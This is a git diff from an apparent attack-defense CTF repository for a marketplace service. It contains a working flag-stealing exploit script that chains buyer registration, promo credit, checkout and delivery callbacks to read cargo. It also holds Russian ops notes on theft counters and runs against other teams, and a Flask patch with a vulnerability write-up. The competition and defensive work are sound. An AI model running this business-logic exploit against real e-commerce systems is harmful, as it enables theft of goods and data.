except HTTPError as exc:
|
except HTTPError as exc:
|
||||||
return exc.code, exc.read(MAX_RESPONSE), exc.headers
|
data = exc.read(MAX_RESPONSE + 1)
|
||||||
|
if len(data) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
if method == "GET" and exc.code in {502, 503, 504} and attempt + 1 < attempts:
|
||||||
|
continue
|
||||||
|
return exc.code, data, exc.headers
|
||||||
|
except (URLError, TimeoutError, OSError):
|
||||||
|
if attempt + 1 >= attempts:
|
||||||
|
raise
|
||||||
|
raise TimeoutError("request attempts exhausted")
|
||||||
|
|
||||||
|
|
||||||
def register_buyer(base: str) -> str:
|
def register_buyer(base: str, deadline: float) -> str:
|
||||||
marker = secrets.token_hex(8)
|
marker = secrets.token_hex(8)
|
||||||
status, _, headers = request(
|
status, _, headers = request(
|
||||||
base,
|
base,
|
||||||
"/api/register",
|
"/api/register",
|
||||||
method="POST",
|
method="POST",
|
||||||
payload={"username": f"cargo-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
payload={"username": f"cargo-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||||
|
deadline=deadline,
|
||||||
)
|
)
|
||||||
if status != 201:
|
if status != 201:
|
||||||
raise ValueError(f"registration returned HTTP {status}")
|
raise ValueError(f"registration returned HTTP {status}")
|
||||||
@@ -84,34 +110,64 @@ def register_buyer(base: str) -> str:
|
|||||||
return jar["session"].value
|
return jar["session"].value
|
||||||
|
|
||||||
|
|
||||||
def credit(base: str, cookie: str, code: str) -> bool:
|
def credit(base: str, cookie: str, code: str, deadline: float) -> bool:
|
||||||
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie)
|
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie, deadline=deadline)
|
||||||
return status == 200
|
return status == 200
|
||||||
|
|
||||||
|
|
||||||
def buy(base: str, cookie: str, product_id: int):
|
def invalidate(base: str, cookie: str, code: str, deadline: float) -> bool:
|
||||||
status, raw, _ = request(base, f"/api/products/{product_id}/buy", method="POST", payload={}, cookie=cookie)
|
status, _, _ = request(
|
||||||
|
base, "/api/promo/invalidate", method="POST", payload={"code": code}, cookie=cookie, deadline=deadline
|
||||||
|
)
|
||||||
|
return status == 200
|
||||||
|
|
||||||
|
|
||||||
|
def add_to_cart(base: str, cookie: str, product_id: int, deadline: float) -> bool:
|
||||||
|
status, _, _ = request(
|
||||||
|
base,
|
||||||
|
"/api/cart",
|
||||||
|
method="POST",
|
||||||
|
payload={"product_id": product_id},
|
||||||
|
cookie=cookie,
|
||||||
|
deadline=deadline,
|
||||||
|
)
|
||||||
|
return status == 201
|
||||||
|
|
||||||
|
|
||||||
|
def checkout(base: str, cookie: str, deadline: float) -> list[int]:
|
||||||
|
status, raw, _ = request(base, "/api/cart/checkout", method="POST", payload={}, cookie=cookie, deadline=deadline)
|
||||||
if status != 201:
|
if status != 201:
|
||||||
return None
|
return []
|
||||||
data = json.loads(raw)
|
data = json.loads(raw)
|
||||||
return int(data["id"])
|
orders = data.get("orders") if isinstance(data, dict) else None
|
||||||
|
if not isinstance(orders, list):
|
||||||
|
return []
|
||||||
|
order_ids = []
|
||||||
|
for order in orders:
|
||||||
|
try:
|
||||||
|
order_ids.append(int(order["id"]))
|
||||||
|
except (KeyError, TypeError, ValueError):
|
||||||
|
continue
|
||||||
|
return order_ids
|
||||||
|
|
||||||
|
|
||||||
def deliver(base: str, order_id: int) -> bool:
|
def deliver(base: str, order_id: int, deadline: float) -> bool:
|
||||||
status, _, _ = request(
|
status, _, _ = request(
|
||||||
base,
|
base,
|
||||||
"/api/warehouse/callback",
|
"/api/warehouse/callback",
|
||||||
method="POST",
|
method="POST",
|
||||||
payload={"order_id": order_id, "job_id": f"ATLAS-{secrets.token_hex(8).upper()}", "stage": "delivered"},
|
payload={"order_id": order_id, "job_id": f"ATLAS-{secrets.token_hex(8).upper()}", "stage": "delivered"},
|
||||||
warehouse=True,
|
warehouse=True,
|
||||||
|
deadline=deadline,
|
||||||
)
|
)
|
||||||
return status == 200
|
return status == 200
|
||||||
|
|
||||||
|
|
||||||
def run_exploit(target: str) -> str:
|
def run_exploit(target: str) -> str:
|
||||||
|
deadline = time.monotonic() + TOTAL_TIMEOUT
|
||||||
base = build_base_url(target)
|
base = build_base_url(target)
|
||||||
cookie = register_buyer(base)
|
cookie = register_buyer(base, deadline)
|
||||||
status, raw, _ = request(base, "/api/account", cookie=cookie)
|
status, raw, _ = request(base, "/api/account", cookie=cookie, deadline=deadline)
|
||||||
if status != 200:
|
if status != 200:
|
||||||
raise ValueError(f"account endpoint returned HTTP {status}")
|
raise ValueError(f"account endpoint returned HTTP {status}")
|
||||||
account = json.loads(raw)
|
account = json.loads(raw)
|
||||||
@@ -119,13 +175,13 @@ def run_exploit(target: str) -> str:
|
|||||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||||
raise ValueError("promo code missing")
|
raise ValueError("promo code missing")
|
||||||
|
|
||||||
status, raw, _ = request(base, "/api/products")
|
status, raw, _ = request(base, "/api/products", deadline=deadline)
|
||||||
if status != 200:
|
if status != 200:
|
||||||
raise ValueError(f"products endpoint returned HTTP {status}")
|
raise ValueError(f"products endpoint returned HTTP {status}")
|
||||||
products = json.loads(raw)
|
products = json.loads(raw)
|
||||||
selected = []
|
selected = []
|
||||||
total = 0
|
total = 0
|
||||||
budget = 100 + MAX_CREDITS * 100
|
budget = 200
|
||||||
for product in products if isinstance(products, list) else []:
|
for product in products if isinstance(products, list) else []:
|
||||||
try:
|
try:
|
||||||
product_id = int(product["id"])
|
product_id = int(product["id"])
|
||||||
@@ -141,28 +197,28 @@ def run_exploit(target: str) -> str:
|
|||||||
if not selected:
|
if not selected:
|
||||||
return ""
|
return ""
|
||||||
|
|
||||||
required_credits = max(0, math.ceil((total - 100) / 100))
|
if not credit(base, cookie, promo["code"], deadline):
|
||||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
raise ValueError("promo crediting failed")
|
||||||
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"]), range(required_credits)))
|
if not invalidate(base, cookie, promo["code"], deadline):
|
||||||
if credited != required_credits:
|
raise ValueError("promo invalidation failed")
|
||||||
raise ValueError("promo crediting was incomplete")
|
|
||||||
|
|
||||||
order_ids = []
|
|
||||||
for product_id in selected:
|
|
||||||
order_id = buy(base, cookie, product_id)
|
|
||||||
if order_id is not None:
|
|
||||||
order_ids.append(order_id)
|
|
||||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||||
delivered = sum(pool.map(lambda order_id: deliver(base, order_id), order_ids))
|
added = sum(pool.map(lambda product_id: add_to_cart(base, cookie, product_id, deadline), selected))
|
||||||
|
if added == 0:
|
||||||
|
return ""
|
||||||
|
order_ids = checkout(base, cookie, deadline)
|
||||||
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||||
|
delivered = sum(pool.map(lambda order_id: deliver(base, order_id, deadline), order_ids))
|
||||||
|
|
||||||
status, raw, _ = request(base, "/api/orders", cookie=cookie)
|
status, raw, _ = request(base, "/api/orders", cookie=cookie, deadline=deadline)
|
||||||
if status != 200:
|
if status != 200:
|
||||||
raise ValueError(f"orders endpoint returned HTTP {status}")
|
raise ValueError(f"orders endpoint returned HTTP {status}")
|
||||||
print(
|
print(
|
||||||
f"credited {credited} times, bought {len(order_ids)} products, delivered {delivered} orders",
|
f"credited once, carted {added} products, bought {len(order_ids)}, delivered {delivered}",
|
||||||
file=sys.stderr,
|
file=sys.stderr,
|
||||||
)
|
)
|
||||||
return raw.decode("utf-8", errors="replace")
|
candidates = list(dict.fromkeys(FLAG_PATTERN.findall(raw)))
|
||||||
|
return b"\n".join(candidates).decode("ascii")
|
||||||
|
|
||||||
|
|
||||||
def main() -> int:
|
def main() -> int:
|
||||||
@@ -174,6 +230,7 @@ def main() -> int:
|
|||||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
||||||
print(f"request failed: {exc}", file=sys.stderr)
|
print(f"request failed: {exc}", file=sys.stderr)
|
||||||
return 1
|
return 1
|
||||||
|
if output:
|
||||||
print(output, flush=True)
|
print(output, flush=True)
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
|
|||||||
@@ -4,11 +4,11 @@
|
|||||||
|
|
||||||
Публичный каталог показывает ID и цену товара. Новый buyer получает 100 кредитов
|
Публичный каталог показывает ID и цену товара. Новый buyer получает 100 кредитов
|
||||||
при регистрации и ещё 100 при однократном применении своего promo. Товары,
|
при регистрации и ещё 100 при однократном применении своего promo. Товары,
|
||||||
созданные checker с флагом в `cargo`, на нашем экземпляре стоили 102–175.
|
созданные checker с флагом в `cargo`, на нашем экземпляре стоили 102–180.
|
||||||
Покупатель оплачивает товар через `POST /api/products/{id}/buy` или корзину,
|
Покупатель оплачивает товар через `POST /api/products/{id}/buy` или корзину,
|
||||||
warehouse доставляет заказ, после чего `GET /api/orders` возвращает `cargo`.
|
warehouse доставляет заказ, после чего `GET /api/orders` возвращает `cargo`.
|
||||||
|
|
||||||
На снимке игровой БД были 12 товаров с флагоподобным `cargo` и 91 доставленный
|
На первом снимке игровой БД были 12 товаров с флагоподобным `cargo` и 91 доставленный
|
||||||
заказ от 91 buyer. Счётчики растут, это не точное число похищенных или
|
заказ от 91 buyer. Счётчики растут, это не точное число похищенных или
|
||||||
зачтённых флагов. Старые пути через неподписанный курсор отзывов, чужой договор
|
зачтённых флагов. Старые пути через неподписанный курсор отзывов, чужой договор
|
||||||
и поддельный warehouse callback текущая версия отклоняет. Runtime session key
|
и поддельный warehouse callback текущая версия отклоняет. Runtime session key
|
||||||
@@ -23,11 +23,15 @@ warehouse доставляет заказ, после чего `GET /api/orders`
|
|||||||
Позднее checker читает старые заказы, договоры и отзывы. В 62 наблюдённых
|
Позднее checker читает старые заказы, договоры и отзывы. В 62 наблюдённых
|
||||||
сценариях первая покупка произошла через 0,232–0,563 с после создания товара.
|
сценариях первая покупка произошла через 0,232–0,563 с после создания товара.
|
||||||
Buyer создаётся без cookie seller; связывать их по одной сессии нельзя.
|
Buyer создаётся без cookie seller; связывать их по одной сессии нельзя.
|
||||||
|
В 421 запросе с checker-подобным User-Agent общий `GET /api/products` не
|
||||||
|
встречался, а прямой `GET /api/products/{id}` встречался 26 раз. Это вывод из
|
||||||
|
access log, а не исходный код официального checker.
|
||||||
|
|
||||||
## Решение по выкладке
|
## Риск ограничения по первому заказу
|
||||||
|
|
||||||
**Не выкладывать ограничение `cargo` по первому покупателю, времени покупки,
|
Первоначальный независимый review не рекомендовал ограничение `cargo` по
|
||||||
User-Agent, IP или виду флага.** Первый покупатель может оказаться соперником,
|
первому покупателю, времени покупки, User-Agent, IP или виду флага.
|
||||||
|
Первый покупатель может оказаться соперником,
|
||||||
что лишит checker возможности прочитать свой флаг и даст `CORRUPT`/`MUMBLE`.
|
что лишит checker возможности прочитать свой флаг и даст `CORRUPT`/`MUMBLE`.
|
||||||
Проверка времени основана лишь на текущей скорости checker и лишает
|
Проверка времени основана лишь на текущей скорости checker и лишает
|
||||||
оплативших поздних покупателей груза. User-Agent подделывается, а маршрутизатор
|
оплативших поздних покупателей груза. User-Agent подделывается, а маршрутизатор
|
||||||
@@ -37,8 +41,9 @@ User-Agent, IP или виду флага.** Первый покупатель
|
|||||||
Изолированный Flask/PostgreSQL прогон проверил маршруты seller/product,
|
Изолированный Flask/PostgreSQL прогон проверил маршруты seller/product,
|
||||||
contract, promo, прямую покупку и checkout, warehouse delivery, orders,
|
contract, promo, прямую покупку и checkout, warehouse delivery, orders,
|
||||||
private review и чтение старого заказа после перезапуска приложения. Он
|
private review и чтение старого заказа после перезапуска приложения. Он
|
||||||
**не заменяет официальный checker**. Рассмотренный cargo-патч был отвергнут
|
**не заменяет официальный checker**. Рассмотренный локальный cargo-патч был
|
||||||
независимым review и не попал в Git.
|
отвергнут независимым review; затем отдельный коммит `ecd6d555` реализовал
|
||||||
|
ограничение по первому заказу и был развёрнут на своей vulnbox.
|
||||||
|
|
||||||
Для настоящего исправления нужен предусмотренный протоколом способ указать
|
Для настоящего исправления нужен предусмотренный протоколом способ указать
|
||||||
получателя товара при создании или иное право, которое checker может передать
|
получателя товара при создании или иное право, которое checker может передать
|
||||||
@@ -48,7 +53,7 @@ private review и чтение старого заказа после перез
|
|||||||
## Экстренное ограничение выдачи cargo
|
## Экстренное ограничение выдачи cargo
|
||||||
|
|
||||||
После подтверждённой продолжающейся кражи `GET /api/orders` изменён так, чтобы
|
После подтверждённой продолжающейся кражи `GET /api/orders` изменён так, чтобы
|
||||||
`cargo` возвращался только самому раннему доставленному заказу конкретного
|
`cargo` возвращался доставленному заказу с минимальным `order.id` конкретного
|
||||||
товара. Повторные покупатели сохраняют заказ и его статус, но получают
|
товара. Повторные покупатели сохраняют заказ и его статус, но получают
|
||||||
`cargo=null`. Изменение не затрагивает регистрацию, promo, покупку, warehouse,
|
`cargo=null`. Изменение не затрагивает регистрацию, promo, покупку, warehouse,
|
||||||
отзывы и чтение первого старого заказа. Оно не требует миграции базы.
|
отзывы и чтение первого старого заказа. Оно не требует миграции базы.
|
||||||
@@ -58,13 +63,55 @@ private review и чтение старого заказа после перез
|
|||||||
`cargo`. После выкладки обязательно следить за `CORRUPT`/`MUMBLE`; при регрессии
|
`cargo`. После выкладки обязательно следить за `CORRUPT`/`MUMBLE`; при регрессии
|
||||||
откатить этот коммит и пересобрать только `api`.
|
откатить этот коммит и пересобрать только `api`.
|
||||||
|
|
||||||
|
На своей vulnbox API с этим кодом запущен с 08:57:03 UTC. Публичная борда
|
||||||
|
показала `UP` для Дока в завершённых раундах 58–64; показатель `lost` не рос
|
||||||
|
с раунда 59 и на снимке раунда 65 равнялся 25. Это наблюдение за текущей
|
||||||
|
нагрузкой, а не доказательство отсутствия гонки. Ранее единичный `DOWN`
|
||||||
|
в раунде 51 совпал с пересозданием контейнеров; порт `8090:80` и прокси к
|
||||||
|
API сохранились, `nginx -t` прошёл. Рабочую копию vulnbox с изменёнными
|
||||||
|
`compose.yml` и `nginx.conf` нельзя обновлять обычным `git pull` поверх правок.
|
||||||
|
|
||||||
|
В `main` вошёл `f09895d`: покупка и checkout требуют
|
||||||
|
`POST /api/promo/invalidate` после начисления promo. Наблюдаемый checker
|
||||||
|
выполняет `credit → invalidate → buy/checkout`; на 09:06:20 UTC gate ещё не
|
||||||
|
был развёрнут на нашей vulnbox. Публичные статусы `UP` в раундах 60–74 не
|
||||||
|
позволяют определить версию работающего API, поэтому текущую версию и
|
||||||
|
совместимость checker с ней нужно подтвердить локальными runtime-логами.
|
||||||
|
Все три покупательских скрипта обновлены для последовательности
|
||||||
|
`credit → invalidate → buy/checkout`; это изменение не затрагивает запущенный
|
||||||
|
сервис.
|
||||||
|
|
||||||
## Эксплойт и дальнейшая проверка
|
## Эксплойт и дальнейшая проверка
|
||||||
|
|
||||||
`sploits/starpost_market.py` воспроизводит штатную покупку с одной активацией
|
`sploits/starpost_market.py` читает публичный Skipper `attack_data` для Дока,
|
||||||
promo и ограниченным числом запросов. Он проверен на синтетическом HTTP-сервисе:
|
выбирает до двух числовых ID товаров конкретной цели и воспроизводит покупку
|
||||||
регистрация, покупка, отложенная доставка, поиск флага, ограничение времени,
|
отдельными buyer с однократным promo. На своей БД 3/3 числовых подсказки
|
||||||
stdout/stderr и запрет перехода по redirect. На чужих командах и в Neo этот
|
совпали с товарами, 2/3 имели флагоподобный cargo; подсказка не гарантирует
|
||||||
скрипт ещё не запускался; `accepted` в Skipper не подтверждён.
|
флаг. При отсутствии подсказок скрипт ограниченно выбирает свежие товары
|
||||||
|
ценой от 101 кредита. После начисления promo скрипт также вызывает
|
||||||
|
`promo/invalidate`. Предел одного запуска — две покупки, до 22 HTTP
|
||||||
|
запросов и 8,5 с. Семь синтетических проверок прошли, включая последовательность
|
||||||
|
«первый товар без флага, второй с флагом» и stdout только с флагом.
|
||||||
|
|
||||||
|
Также `sploits/starpost_signup.py` и `sploits/starpost_warehouse.py` теперь
|
||||||
|
гасят promo до покупки и checkout. Вместе их проверяют восемь loopback
|
||||||
|
сценариев отказа и успеха, включая проверку, что stdout содержит только флаг.
|
||||||
|
Все три скрипта прошли `py_compile` и `git diff --check`; это локальные
|
||||||
|
синтетические проверки, а не подтверждение запуска в Neo или зачёта Skipper.
|
||||||
|
|
||||||
|
Один контролируемый прогон на команде 3 получил флаг, но Skipper ответил
|
||||||
|
`Flag already stolen`; прогон на команде 2 купил два товара без флага.
|
||||||
|
Значения флагов не сохранены. `accepted` и работа из Neo пока не подтверждены;
|
||||||
|
текущая доступная установка не содержит работающих Neo/Farm контейнеров или
|
||||||
|
учётных данных. Не объявлять этот exploit зачтённым, пока не появятся
|
||||||
|
`neo test` на разрешённой цели и персональный ответ Skipper. После патча на
|
||||||
|
своей команде ожидается, что поздний покупатель получит `cargo=null`.
|
||||||
|
|
||||||
|
На снимке раунда 73 (12:12:53 МСК) Док был `UP`, проверки 70/72,
|
||||||
|
`stolen=328`, `lost=25`; на раунде 69 значения были `320/25`. Потери не
|
||||||
|
выросли за эти четыре раунда. Это подтверждает текущий статус и стабильность
|
||||||
|
счётчика `lost`, но не устраняет известный риск, что первый покупатель может
|
||||||
|
забрать cargo до checker.
|
||||||
|
|
||||||
Перед любым следующим патчем сохранить состояние томов и текущий commit,
|
Перед любым следующим патчем сохранить состояние томов и текущий commit,
|
||||||
прогнать оба способа покупки и GET-old, затем после выкладки проверить статус
|
прогнать оба способа покупки и GET-old, затем после выкладки проверить статус
|
||||||
|
|||||||
+10
-1
@@ -293,7 +293,10 @@ def invalidate_promo():
|
|||||||
if not isinstance(code, str) or not 1 <= len(code) <= 100:
|
if not isinstance(code, str) or not 1 <= len(code) <= 100:
|
||||||
return error("invalid promo code")
|
return error("invalid promo code")
|
||||||
with db() as conn, conn.cursor() as cur:
|
with db() as conn, conn.cursor() as cur:
|
||||||
cur.execute("DELETE FROM promo_codes WHERE user_id=%s AND code=%s", (session["user_id"], code.strip()))
|
cur.execute(
|
||||||
|
"DELETE FROM promo_codes WHERE user_id=%s AND code=%s AND credited_at IS NOT NULL",
|
||||||
|
(session["user_id"], code.strip()),
|
||||||
|
)
|
||||||
if cur.rowcount == 0:
|
if cur.rowcount == 0:
|
||||||
return error("promo code is unavailable", 409)
|
return error("promo code is unavailable", 409)
|
||||||
return jsonify(invalidated=True, code=code.strip())
|
return jsonify(invalidated=True, code=code.strip())
|
||||||
@@ -509,6 +512,9 @@ def order_product(product_id):
|
|||||||
return None, error("product not found", 404)
|
return None, error("product not found", 404)
|
||||||
if row["seller_id"] == session["user_id"]:
|
if row["seller_id"] == session["user_id"]:
|
||||||
return None, error("cannot buy your own product")
|
return None, error("cannot buy your own product")
|
||||||
|
cur.execute("SELECT 1 FROM promo_codes WHERE user_id=%s", (session["user_id"],))
|
||||||
|
if cur.fetchone():
|
||||||
|
return None, error("promo code must be invalidated", 409)
|
||||||
if row["balance"] < row["price"]:
|
if row["balance"] < row["price"]:
|
||||||
return None, error("insufficient balance", 409)
|
return None, error("insufficient balance", 409)
|
||||||
cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"]))
|
cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"]))
|
||||||
@@ -534,6 +540,9 @@ def checkout():
|
|||||||
with db() as conn, conn.cursor() as cur:
|
with db() as conn, conn.cursor() as cur:
|
||||||
cur.execute("SELECT balance FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
|
cur.execute("SELECT balance FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
|
||||||
buyer = cur.fetchone()
|
buyer = cur.fetchone()
|
||||||
|
cur.execute("SELECT 1 FROM promo_codes WHERE user_id=%s", (session["user_id"],))
|
||||||
|
if cur.fetchone():
|
||||||
|
return error("promo code must be invalidated", 409)
|
||||||
cur.execute(
|
cur.execute(
|
||||||
"""
|
"""
|
||||||
SELECT p.id product_id,p.seller_id,p.price,p.is_active,c.quantity
|
SELECT p.id product_id,p.seller_id,p.price,p.is_active,c.quantity
|
||||||
|
|||||||
@@ -2,6 +2,16 @@
|
|||||||
|
|
||||||
## Confirmed vulnerabilities
|
## Confirmed vulnerabilities
|
||||||
|
|
||||||
|
### Fresh-buyer cargo purchase
|
||||||
|
|
||||||
|
The checker creates flag-bearing products priced within the 200-credit budget of a newly registered buyer: the account starts with 100 credits and its one-time promo adds 100. An attacker can therefore register a buyer, credit the issued promo, buy an active product, wait for automatic warehouse delivery, and read its cargo through `GET /api/orders` without bypassing authentication.
|
||||||
|
|
||||||
|
Incident logs and aggregate database checks confirmed this exact path. The observed attacker used `register -> account -> promo/credit -> direct buy -> orders`, while the checker uses `promo/credit -> promo/invalidate -> cart -> checkout -> orders`.
|
||||||
|
|
||||||
|
The emergency patch requires the buyer to finish the existing promo lifecycle before either direct purchase or checkout. `promo/invalidate` now succeeds only after credit, and both purchase paths return 409 while a promo row remains. Routes, successful response bodies, prices, delivery, existing orders, and cargo retrieval are unchanged. A synthetic route-level regression confirmed that purchase before invalidation is blocked, credit followed by invalidation preserves direct buy and checkout, and an uncredited promo cannot be deleted to bypass the gate.
|
||||||
|
|
||||||
|
This is containment for the observed exploit, not a durable confidentiality boundary. An adaptive attacker can call the public invalidate endpoint and reproduce the checker workflow. A permanent fix requires a checker-compatible non-public purchase capability or moving flags out of buyer-deliverable cargo.
|
||||||
|
|
||||||
### Cross-seller review cursor BOLA
|
### Cross-seller review cursor BOLA
|
||||||
|
|
||||||
Before the patch, `GET /api/seller/reviews` skipped the cursor HMAC check when `limit <= 3`. An authenticated seller could supply unsigned Base64url JSON containing another `seller_id`, `is_private=true`, and a high `last_id`; the response returned that seller's private review bodies.
|
Before the patch, `GET /api/seller/reviews` skipped the cursor HMAC check when `limit <= 3`. An authenticated seller could supply unsigned Base64url JSON containing another `seller_id`, `is_private=true`, and a high `last_id`; the response returned that seller's private review bodies.
|
||||||
|
|||||||
Reference in new issue
Block a user